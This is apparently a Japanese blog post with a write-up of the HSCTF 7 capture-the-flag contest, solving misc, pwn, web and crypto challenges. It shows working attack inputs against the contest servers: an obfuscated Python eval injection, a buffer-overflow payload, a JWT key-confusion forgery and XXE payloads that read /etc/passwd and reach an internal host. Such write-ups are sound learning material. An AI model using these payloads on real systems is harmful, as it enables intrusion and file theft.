Midnight Monologues

日々勉強したことを書いてきます

HSCTF 7 - Writeup

月, 01 6月 2020, 12:00 UTC — 土, 06 6月 2020, 00:00 UTCに開催されたHSCTF 7 に個人で参加した。 Web問題を全完+beginners問題を幾つか解いたので以下にWriteupを記載する。

Miscellaneous

Does CTFd Work

welcome問題。問題文にflagが記載されている。

flag{y3S_i7_d03s_3xcl4m4710n_m4rk_890d9a0b}

Discord Flag

Discordを見るとflagが記載されている。

flag{good_luck_have_fun}

My First Calculator

添付ファイルでpythonで記述されたスクリプトが渡される。python2系でコーディングされている。
python2系ではeval関数を用いてシェルを送り込めるのでディレクトリ直下のflag.txtを読み込む処理を入力する。

※以下のコマンドを実行する

__import__('os').write(1, open('./flag.txt').read())

eval+hex入力で文字を置き換えて実行する。

# nc misc.hsctf.com 7001
Welcome to my calculator!
You can add, subtract, multiply and divide some numbers

First number: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+chr(0x28)+chr(0x27)+chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x72)+chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29))
flag{please_use_python3}
Second number: 1
Operation (+ - * /): 

Sorry, only the number 1 is supported
26
flag{please_use_python3}

Binary Exploitation

Intro to Netcat 2: Electric Boogaloo

導入問題。ncコマンドで接続するとflagが表示される。

# nc pwn.hsctf.com 5001
Hey, here's your flag! flag{https://youtu.be/-TVWst0YqCI}

Boredom

C言語で書かれたファイルとELF64ファイルが渡される。

# objdump -d boredom 

boredom:     ファイル形式 elf64-x86-64

     <中略>

00000000004011d5 <flag>:
  4011d5:       55                      push   %rbp
  4011d6:       48 89 e5                mov    %rsp,%rbp
  4011d9:       48 83 ec 40             sub    $0x40,%rsp
  4011dd:       48 8d 35 60 0e 00 00    lea    0xe60(%rip),%rsi        # 402044 <_IO_stdin_used+0x44>
  4011e4:       48 8d 3d 5b 0e 00 00    lea    0xe5b(%rip),%rdi        # 402046 <_IO_stdin_used+0x46>
  4011eb:       e8 90 fe ff ff          callq  401080 <fopen@plt>
  4011f0:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  4011f4:       48 83 7d f8 00          cmpq   $0x0,-0x8(%rbp)
  4011f9:       75 22                   jne    40121d <flag+0x48>
  4011fb:       48 8d 3d 4e 0e 00 00    lea    0xe4e(%rip),%rdi        # 402050 <_IO_stdin_used+0x50>
  401202:       e8 29 fe ff ff          callq  401030 <puts@plt>
  401207:       48 8d 3d 92 0e 00 00    lea    0xe92(%rip),%rdi        # 4020a0 <_IO_stdin_used+0xa0>
  40120e:       e8 1d fe ff ff          callq  401030 <puts@plt>
  401213:       bf 01 00 00 00          mov    $0x1,%edi
  401218:       e8 73 fe ff ff          callq  401090 <exit@plt>
  40121d:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  401221:       48 8d 45 c0             lea    -0x40(%rbp),%rax
  401225:       be 32 00 00 00          mov    $0x32,%esi
  40122a:       48 89 c7                mov    %rax,%rdi
  40122d:       e8 1e fe ff ff          callq  401050 <fgets@plt>
  401232:       48 8d 45 c0             lea    -0x40(%rbp),%rax
  401236:       48 89 c6                mov    %rax,%rsi
  401239:       48 8d 3d a0 0e 00 00    lea    0xea0(%rip),%rdi        # 4020e0 <_IO_stdin_used+0xe0>
  401240:       b8 00 00 00 00          mov    $0x0,%eax
  401245:       e8 f6 fd ff ff          callq  401040 <printf@plt>
  40124a:       48 8d 3d cc 0e 00 00    lea    0xecc(%rip),%rdi        # 40211d <_IO_stdin_used+0x11d>
  401251:       e8 da fd ff ff          callq  401030 <puts@plt>
  401256:       bf 2a 00 00 00          mov    $0x2a,%edi
  40125b:       e8 30 fe ff ff          callq  401090 <exit@plt>

     <中略>

flag関数のアドレスは00000000004011d5であり208文字以上入力するとbofが発生するため以下を入力する。

# python -c 'print "A"*208+"\xd5\x11\x40\x00\x00\x00\x00\x00"' | nc pwn.hsctf.com 5002
I'm currently bored out of my mind. Give me sumpfink to do!
Give me something to do: Ehhhhh, maybe later.
Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

Now go away.
flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

Web Exploitation

Blurry Eyes

指定されたURLへアクセスすると一部の表示にモザイクがかかった画面が表示される。 ソースを確認するとpoefKuKjNPojzLDfというclassを指定している箇所がある。

# curl https://blurry-eyes.web.hsctf.com/
<!doctype html>
<html>

<head>
  <meta charset="utf-8">
  <title>Blurry Eyes</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
  <link rel="stylesheet" href="style.css">

     <中略>

    <h4>Anyways, the flag that you need for this cha<span class="blur">llenge is: <span
          class="poefKuKjNPojzLDf"></span></span></h4>

該当の名称をstyle.css上で確認するとflagが記載されている。

.poefKuKjNPojzLDf:after {
    content: "f" "l" "a" "g" "{" "g" "l" "a" "s" "s" "e" "s" "_" "a" "r" "e" "_" "u" "s" "e" "f" "u" "l" "}" ;
}
flag{glasses_are_useful}

Debt Simulator

指定されたURLへアクセスするとボタンを押下して所持金を増減させるゲーム画面が表示される。

ソースは難読化されている。

# curl https://debt-simulator.web.hsctf.com/
<!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"><link rel="manifest" href="/site.webmanifest"><link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet"><title>Debt :))</title><link href="/static/css/main.6279183e.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script><script src="/static/js/2.f3855285.chunk.js"></script><script src="/static/js/main.1b8f0187.chunk.js"></script></body></html>

読み込まれるJSファイルの内main.1b8f0187.chunk.jsファイルに注目する。このファイルで値の受け取り(getPay)or支払い(getCost)を制御している。

# curl https://debt-simulator.web.hsctf.com/static/js/main.1b8f0187.chunk.js
(this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[]).push([[0],[,,,,function(e,t,n){e.exports=n(15)},,,,,function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";n.r(t);var a=n(0),c=n.n(a),o=n(3),r=n.n(o),u=n(1);n(9);var l=function(){return c.a.createElement("header",null,c.a.createElement("h1",null,"DEBT SIMULATOR"),c.a.createElement("div",null,c.a.createElement("h5",null,"(Very Realistic)"),c.a.createElement("h4",null,"Try Your Luck!")))};n(10);var i=function(e){return c.a.createElement("div",{className:"Main"},"$",e.content)};n(11);var s=function(e){return c.a.createElement("div",{className:"Message"},e.message)};n(12);var m=function(e){return c.a.createElement("button",{onClick:e.onClick,className:"Button"},e.text)};n(13);var d=function(){var e=Object(a.useState)("Ready to Play?"),t=Object(u.a)(e,2),n=t[0],o=t[1],r=Object(a.useState)(0),d=Object(u.a)(r,2),f=d[0],h=d[1],E=Object(a.useState)("Start Game"),b=Object(u.a)(E,2),v=b[0],p=b[1];return Object(a.useEffect)((function(){f<-1e3?(o("You lost. You have less than $-1000. Better luck next time."),p("Play Again")):f>2e3?(o("You won. You have more than $2000. Try your luck again?"),p("Play Again")):0!==f&&"Next Round"!==v&&p("Next Round")})),c.a.createElement("div",{className:"App"},c.a.createElement(l,null),c.a.createElement(s,{message:n}),c.a.createElement(i,{content:f}),c.a.createElement(m,{onClick:function(){var e=Math.random()>.4;fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001",{method:"POST",body:"function="+(e?"getCost":"getPay"),headers:{"Content-type":"application/x-www-form-urlencoded"}}).then((function(e){return e.json()})).then((function(t){t=t.response,"Play Again"!==v&&"Start Game"!==v||(p("Next Round"),h(0)),o("You have "+(e?"paid me ":"received ")+"$"+t+"."),h((function(n){return e?n-t:n+t}))}))},text:v}))};n(14);r.a.render(c.a.createElement(d,null),document.getElementById("root"))}],[[4,1,2]]]);

試しにyolo_0000000000001にアクセスしてみるとgetPay、getCost以外にFlagに関連するfunctionがある。

# curl https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}

そのためgetgetgetgetgetgetgetgetgetFlagにアクセスしてみる。

# curl -XPOST -d "function=getgetgetgetgetgetgetgetgetFlag" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":"flag{y0u_f0uND_m3333333_123123123555554322221}"}
flag{y0u_f0uND_m3333333_123123123555554322221}

Inspector Gadget

指定されたURLへアクセスするとソースにflagが記載されている。

# curl https://inspector-gadget.web.hsctf.com/<!DOCTYPE html>

     <中略>

        <h3>Penny</h3>
        <!-- flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t} -->
        <img src="penny.png" alt="Penny">

     <中略>
flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}

Broken Tokens

指定されたURLへアクセスするとusernameとpasswordの入力画面が表示される。また公開鍵ファイルが提示されている。

usernameとpasswordに適当な文字列を入力してログインするとauthのcookieにjwtが設定される。
画面表示からguestユーザでログインしていることが分かる。

jwtのユーザをguestからadminユーザへ書き換えてアクセスすればflagが表示されそうである。
提示されている公開鍵を使用してjwtの書き換えを実施する。

# ./jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
  Version 1.3                 \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = JWT
[+] alg = RS256

Token payload values:
[+] auth = guest

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] typ = JWT
[2] alg = RS256
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] auth = guest
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of auth is: guest
Please enter new value and hit ENTER
> admin
[1] auth = admin
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 4

Please enter the Public Key filename:
> /publickey.pem

====================================================================
This option takes an available Public Key (the SSL certificate from 
a webserver, for example?) and switches the RSA-signed 
(RS256/RS384/RS512) JWT that uses the Public Key as its 'secret'.
====================================================================
File loaded: /publickey.pem

Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

adminユーザへ書き換えたjwtをauthにセットして再度アクセスしてみる。

# curl -b "auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4" https://broken-tokens.web.hsctf.com/

     <中略>

                        <div>Logged in as admin</div>


                        <div id="flag">The flag is flag{1n53cur3_tok3n5_5474212}</div>

     <中略>
flag{1n53cur3_tok3n5_5474212}

Traffic Lights W

指定されたURLへアクセスするとDocker端末の管理コンソール画面が表示される。traffic-light-1001とtraffic-light-1004のみが起動しているようだ。 traffic-light-1001のFirmwareUpload画面を押下するとXMLファイルの入力画面が表示される。

exampleを参考にXXEの脆弱性があることが分かる。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [ 
<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=../../../../../etc/passwd">
]>
<root>
  <content>&h;</content>
</root>

応答された文字列をbase64でデコードする。

# echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9ub2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6YWRtOi92YXIvYWRtOi9zYmluL25vbG9naW4KbHA6eDo0Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3NiaW4vbm9sb2dpbgpzeW5jOng6NTowOnN5bmM6L3NiaW46L2Jpbi9zeW5jCnNodXRkb3duOng6NjowOnNodXRkb3duOi9zYmluOi9zYmluL3NodXRkb3duCmhhbHQ6eDo3OjA6aGFsdDovc2Jpbjovc2Jpbi9oYWx0Cm1haWw6eDo4OjEyOm1haWw6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KbmV3czp4Ojk6MTM6bmV3czovdXNyL2xpYi9uZXdzOi9zYmluL25vbG9naW4KdXVjcDp4OjEwOjE0OnV1Y3A6L3Zhci9zcG9vbC91dWNwcHVibGljOi9zYmluL25vbG9naW4Kb3BlcmF0b3I6eDoxMTowOm9wZXJhdG9yOi9yb290Oi9zYmluL25vbG9naW4KbWFuOng6MTM6MTU6bWFuOi91c3IvbWFuOi9zYmluL25vbG9naW4KcG9zdG1hc3Rlcjp4OjE0OjEyOnBvc3RtYXN0ZXI6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KY3Jvbjp4OjE2OjE2OmNyb246L3Zhci9zcG9vbC9jcm9uOi9zYmluL25vbG9naW4KZnRwOng6MjE6MjE6Oi92YXIvbGliL2Z0cDovc2Jpbi9ub2xvZ2luCnNzaGQ6eDoyMjoyMjpzc2hkOi9kZXYvbnVsbDovc2Jpbi9ub2xvZ2luCmF0Ong6MjU6MjU6YXQ6L3Zhci9zcG9vbC9jcm9uL2F0am9iczovc2Jpbi9ub2xvZ2luCnNxdWlkOng6MzE6MzE6U3F1aWQ6L3Zhci9jYWNoZS9zcXVpZDovc2Jpbi9ub2xvZ2luCnhmczp4OjMzOjMzOlggRm9udCBTZXJ2ZXI6L2V0Yy9YMTEvZnM6L3NiaW4vbm9sb2dpbgpnYW1lczp4OjM1OjM1OmdhbWVzOi91c3IvZ2FtZXM6L3NiaW4vbm9sb2dpbgpjeXJ1czp4Ojg1OjEyOjovdXNyL2N5cnVzOi9zYmluL25vbG9naW4KdnBvcG1haWw6eDo4OTo4OTo6L3Zhci92cG9wbWFpbDovc2Jpbi9ub2xvZ2luCm50cDp4OjEyMzoxMjM6TlRQOi92YXIvZW1wdHk6L3NiaW4vbm9sb2dpbgpzbW1zcDp4OjIwOToyMDk6c21tc3A6L3Zhci9zcG9vbC9tcXVldWU6L3NiaW4vbm9sb2dpbgpndWVzdDp4OjQwNToxMDA6Z3Vlc3Q6L2Rldi9udWxsOi9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi86L3NiaW4vbm9sb2dpbgpuZ2lueDp4OjEwMDoxMDE6bmdpbng6L3Zhci9saWIvbmdpbng6L3NiaW4vbm9sb2dpbgo" | base64 -d
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

traffic-light-1001上のflagファイルを探すがなかなか見つからない。flagファイルを探す中でLFIだけでなくRFIも成功することがわかる。

ここでTopページにアクセスするとError: High CPU Usageでアクセスできないtraffic-light-1004がある。 もしこのサーバへアクセスできればflagファイルに関連する情報がありそうだ。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [ 
<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=http://traffic-light-1004">
]>
<root>
  <content>&h;</content>
</root>

応答された文字列をbase64でデコードする。

# echo -n "SWYgeW91J3JlIHJlYWRpbmcgdGhpcy4uLiBZb3UgZm91bmQgb3V0IHRoYXQgdGhlIHRyYWZmaWMgbGlnaHRzIGFyZSBmYWtlLgpEb24ndCB0ZWxsIGFueW9uZS4gSGVyZSdzIGEgZmxhZyB0byBtYWtlIHlvdSBoYXBweTogZmxhZ3tzaGhfaW1fbWluaW5nX2JpdGNvaW59Cg" | base64 -d
If you're reading this... You found out that the traffic lights are fake.
Don't tell anyone. Here's a flag to make you happy: flag{shh_im_mining_bitcoin}
flag{shh_im_mining_bitcoin}

※ちなみにソースファイルは以下の通り。

<!doctype html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <title>Firmware Upload</title>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
  <link href="dashboard.css" rel="stylesheet">
</head>

<body>
  <nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0">
    <a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a>
  </nav>

  <div class="container">
    <div class="h-100 d-flex justify-content-center align-items-center border-bottom">
      <div>
        <br><br><br>
<?php
if(isset($_GET["light"])) {
  $light = $_GET["light"];
  if ($light === "1001") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>';
  }
  else if ($light === "1004") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo "<h1 class=\"h2\">Error: High CPU Usage</h1>";
  }
  else {
    echo "<h1 class=\"h2\">Error: Not active</h1>";
  }
}
?>

<?php
if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed";

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;
}
?>

</div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
</body>

</html>

また以下URLへ直接アクセスしてもflagが表示される。

# curl https://traffic-light-w.web.hsctf.com/firmware_upload.php?xml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+name+%5B+%0D%0A%3C%21ENTITY+h+SYSTEM+%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhttp%3A%2F%2Ftraffic-light-1004%22%3E%0D%0A%5D%3E%0D%0A%3Croot%3E%0D%0A++%3Ccontent%3E%26h%3B%3C%2Fcontent%3E%0D%0A%3C%2Froot%3E

Very Safe Login

指定されたURLへアクセスするとアクセスすべきusernameとpasswordがソースファイルに記載されている。

# curl https://very-safe-login.web.hsctf.com/very-safe-login

     <中略>
            
            if(username === "jiminy_cricket" && password === "mushu500") {
                showFlag();
                return false;
            }
            return false;

     <中略>

該当のusernameとpasswordでログインするとflagが表示される。

# curl -XPOST -d "username=jiminy_cricket&password=mushu500" https://very-safe-login.web.hsctf.com/very-safe-login

     <中略>

        <div class="alert alert-success">You did it!</div>
        <h1 class="display-3">flag{cl13nt_51de_5uck5_135313531}</h1>

     <中略>
flag{cl13nt_51de_5uck5_135313531}

Cryptography

XORed

添付ファイルの内容を確認する。

I was given the following equations. Can you help me decode the flag?
Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139

Author: AC

(Key 1)^(Key 1 ^ Key 3) = Key 3が求まる。
(Key 3)^(Key 2 ^ Key 3 ^ Key 5) = (Key 2 ^ Key 5)が求まる。
(Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5)^(Key 1)^(Key 2 ^ Key 5)^(Key 3 ^ Key 4)でFlagが求まる。

Key 3 =c7dd292859609aff68bea47262516874a49321889c1f868eb22bc428
(Key 2 ^ Key 5 =92a1cf01b16869477a7095b5415cb6dd5fa19a2633908bc4e6208b2d
Flag =666c61677b6e30745f7430305f683472445f6830703366756c6c797d

hexデコードしてflagを確認する。

flag{n0t_t00_h4rD_h0p3fully}

解きたかった問題

・Picture Lab: Activity 10 (Forensics)
・CNC (Forensics)
・Primes (Miscellaneous)
・N-95 (Miscellaneous)

感想

・もっと精進します。